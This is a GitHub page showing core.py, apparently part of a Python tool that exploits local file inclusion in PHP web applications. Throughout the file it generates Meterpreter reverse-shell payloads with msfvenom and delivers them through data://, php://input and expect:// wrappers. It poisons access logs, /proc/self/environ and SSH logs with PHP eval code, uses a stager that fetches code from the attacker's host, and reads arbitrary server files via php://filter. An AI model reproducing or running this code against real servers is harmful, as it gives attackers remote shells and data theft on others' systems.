-
Notifications
You must be signed in to change notification settings - Fork 45
/
Copy pathcore.py
634 lines (509 loc) · 25.1 KB
/
core.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
__author__ = 'rotlogix'
__author__ = 'unicornFurnace'
from blessings import Terminal
from shell_generator import Generator
from msf import Payload
import sys
import time
import requests
import base64
import textwrap
import urlparse
import datetime
import subprocess
from urllib import quote_plus
from os import system
# ---------------------------------------------------------------------------------------------------
def progressbar():
bar_width = 70
sys.stdout.write(t.cyan("[{0}] ".format(datetime.datetime.now())) + " " * bar_width)
sys.stdout.flush()
sys.stdout.write("\b" * (bar_width + 1))
for w in xrange(bar_width):
time.sleep(0.01)
sys.stdout.write(".")
sys.stdout.flush()
sys.stdout.write("\n")
# ---------------------------------------------------------------------------------------------------
t = Terminal()
""" Things we will need for staged
attacks and log poisoning """
stager_payload = "<?php eval(file_get_contents('http://{0}:8000/{1}.php'))?>"
path_traversal_sequences = ['../', '..\\', '/../', './../']
#---------------------------------------------------------------------------------------------------
def msf_payload():
""" Arguments for Meterpreter """
lhost = raw_input(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Please Enter Host For Callbacks: ")
lport = raw_input(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Please Enter Port For Callbacks: ")
""" Generate random shell name """
g = Generator()
shell = g.generate()
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Generating Wrapper")
progressbar()
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Success!")
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Generating Metasploit Payload")
progressbar()
""" MSF payload generation """
php = "/usr/bin/msfvenom -p php/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f raw > /tmp/{2}.php".format(
lhost, lport, shell)
try:
msf = subprocess.Popen(php, shell=True)
msf.wait()
if msf.returncode != 0:
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Error Generating MSF Payload ")
sys.exit(1)
else:
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Success! ")
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Payload: /tmp/{0}.php").format(shell)
except OSError as os_error:
print(t.red("[{0}] ".format(datetime.datetime.now()))(os_error))
return lhost, lport, shell
#---------------------------------------------------------------------------------------------------
def format_cookies(cookies):
c = dict(item.split("=") for item in cookies.split(";"))
return c
#---------------------------------------------------------------------------------------------------
class Data:
def __init__(self, target, nostager, cookies):
self.target = target
self.nostager = nostager
self.cookies = cookies
def execute_data(self):
lhost, lport, shell = msf_payload()
""" Build payload """
""" Handle staging """
if self.nostager:
payload_file = open("/tmp/{0}.php".format(shell), "r")
payload = payload_file.read()
payload_file.close()
else:
payload = stager_payload.format(lhost, shell)
encoded_payload = quote_plus(payload.encode('base64'))
""" Build data wrapper """
data_wrapper = "data://text/html;base64,{0}".format(encoded_payload)
lfi = self.target + data_wrapper
handle = Payload(lhost, lport)
handle.handler()
if self.nostager:
progressbar()
else:
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Starting Web Server ... ")
progressbar()
try:
p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE)
p.communicate()
except OSError as os_error:
print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error)
raw_input(t.red("[{0}] ".format(
datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler is Running ...")
""" LFI payload that downloads the shell with try block for actual
attack """
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
data_request = requests.get(lfi, cookies=f_cookies)
if data_request.status_code != 200:
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Unexpected HTTP Response ")
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as data_error:
print(t.red("[{0}] ".format(datetime.datetime.now())) + "HTTP Error")(data_error)
sys.exit(1)
else:
try:
data_request = requests.get(lfi)
if data_request.status_code != 200:
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Unexpected HTTP Response ")
else:
sys.exit(0)
except requests.HTTPError as data_error:
print(t.red("[{0}] ".format(datetime.datetime.now())) + "HTTP Error")(data_error)
sys.exit(1)
#---------------------------------------------------------------------------------------------------
class Input:
def __init__(self, target, nostager, cookies):
self.target = target
self.nostager = nostager
self.cookies = cookies
def execute_input(self):
lhost, lport, shell = msf_payload()
""" Build payload """
wrapper = "php://input"
url = self.target + wrapper
""" Handle staging """
if self.nostager:
payload_file = open("/tmp/{0}.php".format(shell), "r")
payload = payload_file.read()
payload_file.close()
else:
payload = stager_payload.format(lhost, shell)
handle = Payload(lhost, lport)
handle.handler()
if self.nostager:
progressbar()
else:
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Starting Web Server ... ")
progressbar()
try:
subprocess.Popen(['python http_server.py'], shell=True)
except OSError as os_error:
print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error)
raw_input(t.cyan("[{0}] ".format(
datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler Is Running ...")
""" Handle cookies """
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
input_request = requests.post(url, data=payload, cookies=f_cookies)
if input_request.status_code != 200:
print t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as input_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(input_error)
sys.exit(1)
else:
try:
input_request = requests.post(url, data=payload)
if input_request.status_code != 200:
print t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as input_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(input_error)
sys.exit(1)
#---------------------------------------------------------------------------------------------------
class Expect:
def __init__(self, target, nostager, cookies):
self.target = target
self.nostager = nostager
self.cookies = cookies
def execute_expect(self):
lhost, lport, shell = msf_payload()
handle = Payload(lhost, lport)
handle.handler()
""" Build payload """
""" Handle staging """
if self.nostager:
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "No-Staged Selected!")
payload_file = open("/tmp/{0}.php".format(shell), "r")
payload = "expect://echo \""
payload += quote_plus(payload_file.read().replace("\"", "\\\"").replace("$", "\\$"))
payload += "\" | php"
payload_file.close()
else:
payload = "expect://echo \"" + stager_payload.format(lhost, shell) + "\" | php"
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Starting Web Server ... ")
progressbar()
try:
p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE)
p.communicate()
except OSError as os_error:
print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error)
lfi = self.target + payload
raw_input(t.cyan("[{0}] ".format(
datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler is Running ...")
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
r = requests.get(lfi, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as expect_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(expect_error)
sys.exit(1)
else:
try:
r = requests.get(lfi)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as expect_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(expect_error)
sys.exit(1)
#---------------------------------------------------------------------------------------------------
class Logs:
def __init__(self, target, location, nostager, relative, cookies):
self.target = target
self.location = location
self.nostager = nostager
self.relative = relative
self.cookies = cookies
def execute_logs(self):
lhost, lport, shell = msf_payload()
handle = Payload(lhost, lport)
handle.handler()
""" Handle staging """
if self.nostager:
payload_file = open("/tmp/{0}.php".format(shell), "r")
payload = "<?php eval(base64_decode('{0}')); ?>".format(
payload_file.read().encode('base64').replace("\n", " "))
payload_file.close()
else:
payload = stager_payload.format(lhost, shell)
progressbar()
try:
p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE)
p.communicate()
except OSError as os_error:
print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error)
lfi = self.target + self.location
raw_input(t.cyan("[{0}] ".format(
datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler is Running ...")
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
headers = {'User-Agent': payload}
r = requests.get(lfi, headers=headers, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
else:
if not self.relative:
r = requests.get(lfi)
print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell "
.format(datetime.datetime.now())))
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
else:
for path_traversal_sequence in path_traversal_sequences:
for counter in xrange(10):
lfi = self.target + path_traversal_sequence * counter + self.location
r = requests.get(lfi)
print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell "
.format(datetime.datetime.now())))
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
except requests.HTTPError as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
else:
try:
headers = {'User-Agent': payload}
r = requests.get(lfi, headers=headers)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime)))
else:
if not self.relative:
r = requests.get(lfi)
print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell "
.format(datetime.datetime.now())))
if r.status_code != 200:
print(t.white("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
else:
for path_traversal_sequence in path_traversal_sequences:
for counter in xrange(10):
lfi = self.target + path_traversal_sequence * counter + self.location
r = requests.get(lfi)
print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell "
.format(datetime.datetime.now())))
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
except requests.HTTPError as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
#---------------------------------------------------------------------------------------------------
class Environ:
def __init__(self, target, nostager, relative, cookies):
self.target = target
self.nostager = nostager
self.relative = relative
self.location = "/proc/self/environ"
self.cookies = cookies
def execute_environ(self):
lhost, lport, shell = msf_payload()
handle = Payload(lhost, lport)
handle.handler()
""" Handle staging """
if self.nostager:
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "No-Staged Selected!")
payload_file = open("/tmp/{0}.php".format(shell), "r")
payload = "<?php eval(base64_decode('{0}')); ?>".format(
payload_file.read().encode('base64').replace("\n", ""))
payload_file.close()
else:
payload = stager_payload.format(lhost, shell)
progressbar()
try:
p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE)
p.communicate()
except OSError as os_error:
print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error)
""" Build LFI """
lfi = self.target + self.location
headers = {'User-Agent': payload}
raw_input(t.cyan(
"[{0}] ".format(datetime.datetime)) + "Press Enter To Continue When Your Metasploit Handler is Running ...")
try:
if not self.relative:
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
r = requests.get(lfi, headers=headers, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.RequestException as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
sys.exit(1)
else:
try:
r = requests.get(lfi, headers=headers)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.RequestException as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
sys.exit(1)
else:
for path_traversal_sequence in path_traversal_sequences:
for counter in xrange(10):
lfi = self.target + path_traversal_sequence * counter + self.location
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
r = requests.get(lfi, headers=headers, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.RequestException as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
sys.exit(1)
else:
try:
r = requests.get(lfi, headers=headers)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.RequestException as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
sys.exit(1)
except Exception as unknown_error:
print t.red("[{0}] Unknown Error ".format(datetime.datetime.now()))(unknown_error)
sys.exit(1)
#---------------------------------------------------------------------------------------------------
class SSHLogs:
def __init__(self, target, location, relative, cookies):
self.target = target
self.location = location
self.relative = relative
self.cookies = cookies
def execute_ssh(self):
lhost, lport, shell = msf_payload()
handle = Payload(lhost, lport)
handle.handler()
payload_file = open('/tmp/{0}.php'.format(shell), 'r')
payload_stage2 = quote_plus(payload_file.read())
payload_file.close()
payload = "<?php eval(\\$_GET['code'])?>"
print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Start SSH Log Poisoning ..." + "\n")
host = urlparse.urlsplit(self.target).netloc
system('/usr/bin/ssh "{0}@{1}"'.format(payload, host))
print("\n")
print(t.red("[{0}] ".format(datetime.datetime.now())) + "Executing Shell!")
""" Attempt traverse """
if not self.relative:
lfi = self.target + self.location + '&code={0}'.format(payload_stage2)
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
r = requests.get(lfi, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
except requests.HTTPError as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
else:
try:
r = requests.get(lfi)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
except requests.HTTPError as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
else:
for path_traversal_sequence in path_traversal_sequences:
for counter in xrange(10):
lfi = self.target + path_traversal_sequence * counter + self.location + '&code={0}'.format(
payload_stage2)
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
r = requests.get(lfi, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
sys.exit(1)
else:
try:
r = requests.get(lfi)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
sys.exit(0)
except requests.HTTPError as access_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
sys.exit(1)
#---------------------------------------------------------------------------------------------------
class Filter:
def __init__(self, target, cookies):
self.target = target
self.cookies = cookies
def execute_filter(self):
""" Build payload """
f_file = raw_input(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Please Enter File To Read: ")
payload = "php://filter/convert.base64-encode/resource={0}".format(f_file)
lfi = self.target + payload
""" Handle cookies """
if self.cookies:
f_cookies = format_cookies(self.cookies)
try:
r = requests.get(lfi, cookies=f_cookies)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
else:
time.sleep(1)
try:
result = base64.b64decode(r.text)
print(
t.cyan("[{0}] ".format(datetime.datetime.now())) + "Decoded: " + t.cyan(
textwrap.fill(result)))
except TypeError as type_error:
print(type_error)
sys.exit(1)
except requests.HTTPError as filter_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(filter_error)
else:
try:
r = requests.get(lfi)
if r.status_code != 200:
print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
sys.exit(1)
else:
time.sleep(1)
try:
result = base64.b64decode(r.text)
print(
t.cyan("[{0}] ".format(datetime.datetime.now())) + "Decoded: " + t.cyan(
textwrap.fill(result)))
except TypeError as type_error:
print(type_error)
sys.exit(1)
except requests.HTTPError as filter_error:
print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(filter_error)